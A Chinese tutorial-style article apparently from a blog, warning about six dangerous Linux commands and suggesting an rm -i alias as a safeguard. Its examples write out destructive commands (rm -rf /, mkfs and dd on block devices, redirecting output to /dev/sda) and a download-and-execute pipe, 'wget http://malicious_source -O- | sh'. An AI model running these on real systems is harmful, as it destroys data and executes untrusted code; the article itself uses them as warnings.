Linux操作系统上要慎用的6个命令及防范方法

  基于Linux平台工作的童鞋都知道Linux命令行使用起来非常高效和快捷,但有时候也很危险,尤其是在你不确定你自己在正在做什么时候(别笑,别以为自己真的知道自己想干啥)。各大互联网公司因为在后台执行命令不慎导致数据库被删除和服务宕机的事情屡见不鲜,本文就给大家介绍一下Linux下比较危险的命令,引以为戒,在使用的时候一定要万分小心!

  rm -rf命令

  把这个命令放到第一个,是因为它有不少故事,你懂的。rm -rf命令是删除整个文件夹最快的方式之一。它可以删除允许范围内的任何文件和文件夹,稍有不慎就可能导致不可恢复的系统崩溃。这里面涉及2个选项,都是非常方便,但又非常恐怖的。

  -r 该选项使得rm命令递归的删除文件夹,甚至是空的文件夹。

  -f 该选项使得rm命令能不经过询问直接删除‘只读文件’。

  rm -rf / :强制删除根目录下所有东东。

  rm -rf *: 强制删除当前目录的所有文件。

  rm -rf . :强制删除当前文件夹及其子文件夹。

  这些命令都是非常强悍的,因此在使用的时候一定要万分的消息。另外,在使用rm命令且带有rf选项时一定要慎用正则表达式,稍有错误就造成不可挽回的所示。

  mv 文件夹 /dev/null

  mv命令其实跟rm命令有着相同的危险程度。这个命令会移动某个‘文件夹‘到/dev/null。在Linux中/dev/null或null设备是一个特殊的文件,所有写入它的数据都会被丢弃,然后返回写操作成功。

  # mv /mnt/data/* /dev/null

  上列命令会将data目录所有内容移动到/dev/null,这意味着所有东西都被‘卷入’黑洞 (null)之中。

  命令 > /dev/sda

  标题命令会将某个‘命令‘的输出写到块设备/dev/sda中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。

  mkfs.ext3 /dev/sda

  与上一个命令一样,这个命令会格式化块设备‘sda’,你无疑知道在执行上列命令后你的块设备(硬盘驱动器)会被格式化,崭新的,没有任何数据,直接让你的系统达到不可恢复的阶段。当然,该命令在执行的时候回检查磁盘是否已经格式化,但不能保证那个愣头愣脑的兄弟强制执行。这里只是个例子,除了ext3,任何格式化的命令在使用的时候都要小心,小心,小心!

  dd if=/dev/random of=/dev/sdb

  dd命令也是一个比较危险的命令,如标题命令令会向块设备sdb写入随机的垃圾文件从而擦除该磁盘上的数据。如果该盘是数据盘,将会导致磁盘文件系统的损坏,进而丢失上面所有数据;如果是系统盘将直接导致系统陷入混乱和不可恢复的状态。

  wget http://malicious_source -O- | sh

  标题命令会从一个网站下载一个脚本并执行,有时候你并不知道这个脚本真的在做什么(这就是开头说的有时候你不确定你要做什么)。wget命令会下载这个脚本,而sh会(无条件的)执行下载下来的脚本。如果这个脚本是恶意程序,则会产生不可预料的后果。

  你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。

  危险命令的防范

  我们没法保证任何人都了解这些命令的危险性,因此做到未雨绸缪很重要。以rm命令为例,我们可以通过别名的方式避免登录本无服务器的任何人误用。具体方法是在“.bashrc”文件对‘rm’命令创建rm -i的别名,来预防用‘rm‘命令删除文件时的事故,它会要求你确认每一个删除请求。具体如图2所示,这样在该服务器上执行rm 其实是执行rm -i。

  图2 设置命令的别名

  最后嘱咐大家,一定要慎用这些命令,有其在生产环境。

Linux操作系统上要慎用的6个命令及防范方法的更多相关文章

  1. 如何将.Net Core应用程序部署在Linux操作系统上运行

    .Net Core简介 跨平台: 可以在 Windows.macOS 和 Linux 操作系统上运行. 跨体系结构保持一致: 在多个体系结构(包括 x64.x86 和 ARM)上以相同的行为运行代码. ...

  2. linux服务器上nginx日志访问量统计命令

    linux服务器上nginx日志访问量统计命令 日志文件所在地方:/var/log/nginx/access_iqueendress.com.log/var/log/nginx/access_m.iq ...

  3. 通过轻量级终端工具Tera Term远程向linux操作系统上传war文件

    通过轻量级终端工具Tera Term远程向linux操作系统上传war文件 1.打开Tera Term终端工具,并输入正确的远程机器的IP地址以及端口号: 2.输入正确的用户名和密码进入到linux操 ...

  4. Hadoop Shell命令(基于linux操作系统上传下载文件到hdfs文件系统基本命令学习)

    Apache-->hadoop的官网文档命令学习:http://hadoop.apache.org/docs/r1.0.4/cn/hdfs_shell.html FS Shell 调用文件系统( ...

  5. 【Linux 操作系统】Ubuntu 基础操作 基础命令 热键 man手册使用 关机 重启等命令使用

    . : 关机, 如果将Linux默认运行等级设置为0, 系统将无法启动; -- : 多用户模式, 允许使用网络文件系统, 一般不使用图形界面登陆就是这种模式; -- : 多用户图形界面模式, 该模式下 ...

  6. [教程]K8Cscan调用外部程序(Win/Linux批量上控/执行多条命令/保存结果)

    0x000 调用原理 Cscan调用外部程序有两种方式,一是编写DLL,二是配置文件 编写DLL文件对于不懂编程的人来说可能会很难(虽然支持各语言) 由于考虑到很多人不会编程或会编程又急用无法短时间转 ...

  7. 在linux操作系统上进行简单的C语言源码的gcc编译实验

    尝试在linux上用gcc 而非封装完好的codeblocks,vs等ide 来编译c和cpp源程序 首先查看我的gcc版本,我的是VM centos 自带的,没有的话得自行安装,安装上gcc就可以在 ...

  8. 在Mac/Linux/Windows上编译corefx遇到的问题及解决方法

    这两天尝试在Mac/Linux/Windows三大平台上编译.NET跨平台三驾马车(coreclr/corefx/dnx)之一的corefx(.NET Core Framework),结果三个平台的编 ...

  9. Linux操作系统上用数据泵导库

    1.在Linux上 创建物理目录dp_dir,存放数据库.dmp文件: 用root用户登录,切换到oracle用户,用oralce身份创建物理目录如下: [root@server36 oracle]# ...

随机推荐

  1. Android--从系统Gallery获取图片

    前言 在Android应用中,经常有场景会需要使用到设备上存储的图片,而直接从路径中获取无疑是非常不便利的.所以一般推荐调用系统的Gallery应用,选择图片,然后使用它.本篇博客将讲解如何在Andr ...

  2. JAVA实现接口监控报警系统

    公司一内部系统需要添加一个接口和定时任务监控机制,针对了系统出现的定时任务没有执行,定时任务执行异常出错,对外传送的数据接口异常出错,对内的系统数据互传异常出错等问题进行设计,目的是为了能够让用户没发 ...

  3. hdu:2036.改革春风吹满地

    Problem Description “ 改革春风吹满地,不会AC没关系;实在不行回老家,还有一亩三分地.谢谢!(乐队奏乐)” 话说部分学生心态极好,每天就知道游戏,这次考试如此简单的题目,也是云里 ...

  4. 编写基于Property-based的单元测试

    编写基于Property-based的单元测试 作为一个开发者,你可能认为你的职责就是编写代码从而完成需求.我不敢苟同,开发者的工作是通过软件来解决现实需求,编写代码只是软件开发的其中一个方面,编写可 ...

  5. 补习系列(11)-springboot 文件上传原理

    目录 一.文件上传原理 二.springboot 文件机制 临时文件 定制配置 三.示例代码 A. 单文件上传 B. 多文件上传 C. 文件上传异常 D. Bean 配置 四.文件下载 小结 一.文件 ...

  6. ldap配置系列三:grafana集成ldap

    ldap配置系列三:grafana集成ldap grafana的简介 grafana是一个类似kibana的东西,是对来自各种数据源的数据进行实时展示的平台,拥有这牛逼的外观.给一个官方的demo体验 ...

  7. Perl进程间通信

    不同进程之间的通信或进程间通信(InterProcess Communication, IPC),是一个涉及多个方面的主题.Perl提供了多种进程间通信的方式,本文将逐一介绍.本文的内容主体来自于&l ...

  8. DNS服务器 和CDN

    整个网页请求的流程如下: 我们先在浏览器输入域名,然后通过DNS(Domain Name System) 域名解析系统解析出来域名的对应的IP,然后发送请求得到响应返回给客户端,整个流程如下:  我们 ...

  9. 一统江湖的大前端(2)—— Mock.js + Node.js 如何与后端潇洒分手

    <一统江湖的大前端>系列是自己的前端学习笔记,旨在介绍javascript在非网页开发领域的应用案例和发现各类好玩的js库,不定期更新.如果你对前端的理解还是写写页面绑绑事件,那你真的是有 ...

  10. tomcat 大并发报错 Maximum number of threads (200) created for connector with address null and port 80

    1.INFO: Maximum number of threads (200) created for connector with address null and port 80 说明:最大线程数 ...